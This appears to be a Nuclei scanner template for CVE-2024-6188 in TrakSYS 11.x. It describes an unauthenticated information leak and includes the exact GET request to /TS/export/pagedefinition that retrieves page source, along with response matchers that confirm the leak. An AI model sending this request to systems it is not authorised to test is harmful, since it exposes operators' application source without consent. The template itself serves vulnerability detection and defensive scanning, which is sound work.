id: CVE-2024-6188

info:
  name: TrakSYS 11.x.x - Sensitive Data Exposure
  author: s4e-io
  severity: medium
  description: |
    A vulnerability was found in Parsec Automation TrackSYS 11.x.x and classified as problematic. This issue affects some unknown processing of the file /TS/export/pagedefinition. The manipulation of the argument ID leads to direct request. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: An attacker is able to export the source code of the pages without having any credentials to access the application.
  reference:
    - https://kiwiyumi.com/post/tracksys-export-source-code/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6188
    - https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6188
    - https://debricked.com/vulnerability-database/vulnerability/CVE-2024-6188
  classification:
    epss-score: 0.32325
    epss-percentile: 0.96912
  metadata:
    verified: true
    max-request: 1
    vendor: parsec-automation
    product: tracksys
  tags: cve,cve2024,traksys,idor,info-leak,vkev,vuln

http:
  - raw:
      - |
        GET /TS/export/pagedefinition?ID=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "TrakSYS Version"
          - "Name"
          - "Altname"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dd6df4c49e80bb3c197237218b96a4e5b1668135f81df40ff534e216c0d372da02207cda12028b4179a4cdad9d100c3477743655b9175ddf791390b8b183603eb776:922c64590222798bb761d5b6d8e72950